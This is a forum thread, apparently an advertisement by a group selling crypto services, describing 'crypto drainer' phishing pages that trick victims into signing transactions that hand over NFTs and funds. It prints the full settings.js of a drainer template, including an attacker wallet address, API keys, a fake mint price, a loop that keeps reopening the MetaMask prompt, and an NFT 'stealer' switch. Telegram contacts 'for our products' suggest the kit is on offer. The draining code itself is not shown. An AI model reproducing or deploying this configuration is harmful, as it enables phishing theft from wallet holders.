HI Guys
The honeyman1 team welcomes you . We specialize in it-crypto, our services include: development of crypto projects and all kinds of custom smart contracts
Our previous Thread provided an overview of Web3 phishing techniques and tactics. Today, we offer a deeper dive into a specific category of Web3 phishing pages called “Crypto Drainers” and one of the more prolific actors behind them. We will see how one Crypto Drainer template was responsible for over 2,000 ETH in losses in a short period of time.
Crypto Drainers are phishing pages that lure victims into signing malicious transactions that allow the attacker to siphon their crypto and NFTs. Typically these websites piggyback off of well known or emerging NFT projects. The websites themselves are primarily promoted via spam campaigns on social networks and Discord.
The way most crypto drainers work is relatively straight forward:
- Fake NFT minting pages with an artificial countdown to create urgency.
- Victim connects their wallet to “mint”.
- Check if the victim address owns any valuable NFTs.
- Victim signs transaction(s) to transfer ownership of NFTs.
- Victim sends a transaction to the attacker for the cost of the fake “mint”, but this transaction is not a contract interaction.
- Rinse & repeat.
Let's look at our old example:
Here’s the real website for comparison:
When we look at the code under the hood of the malicious site, we find that the whole thing is templated and includes deployment instructions, but more on that later. For now, let’s take a peak at how this thing works.
First we have settings.js which acts as a config file. The comments are not ours, but part of the Crypto Drainer template
const address = "0x237f0A6c126F979cEd363079f7Cc0bB848e1802B"; const infuraId = "6d233bb428724900aa1d6ac6bba531b1" // Infuria ID | https://infura.io/ | For Wallet Connect const moralisApi = "8lLcZsKmH7Scwxzqp7O3REOhP8nGAMh9CjJTjKwVMQzYJ16fKNs9rClIsQOq0kyx" // x-api-key | https://moralis.io/ | For NFTs const collectionInfo = { name: "Amazing Pandaverse", title: "Amazing Pandaverse", // Title prefix (ex "Buy your {name}") - You can use {name} to insert the collection name socialMedia: { discord: "https://discord.com/invite/amazingpandaverse", twitter: "https://twitter.com/amazing_pndv", }, medias: { preview: "preview.gif", favicon: "logo.png", }, background: { type: "image", // Supported types: image, video, color image: "background.jpg", // Image for image type, video preview for video type video: "background.mp4", // If you don't use video, you can ignore this line color: "#4E4E6D", // If you don't use color, you can ignore this line } } const mintInfo = { price: 0.089, // Price per NFT. totalSupply: 8888, // Total supply of NFTs. minUnits: 1, // Min units to buy. maxUnits: 10, // Max units to buy. askMintLoop: true, // If true, when the user closes the metamask popup, it reopens automatically. } const nftsInfo = { active: true, // Active (true) or not (false) NFTs stealer. minValue: 0.1, // Minimum value of the last transactions (in the last 'checkMaxDay' days) of the collection. checkMaxDay: 7, // Maximum number of days to check for the last transactions. receiveAddress: "" // leave empty if you want to use the same address } /* = = = = = END OF SETTINGS = = = = = */ //#region Check Configuration if (mintInfo.minUnits > mintInfo.maxUnits) console.error(`Error: minUnits (${mintInfo.minUnits}) is greater than maxUnits (${maxUnits})`); if (mintInfo.minUnits <= 0) console.error(`Error: minUnits (${mintInfo.minUnits}) is less than or equal to 0`); if (!address.startsWith("0x") || ( address.length >= 64 || address.length <= 40 ) ) console.error(`Error: ${address} is not a valid Ethereum address.`); //#endregion Telegram @honeyman1And then we have index.js which includes the code responsible for the actual draining:
Spoiler
We are not going to look at the code line by line, but it is worth highlighting two sections. These we will talk about in the next part
My current contacts for our products and other issues: TG honeyman1
bump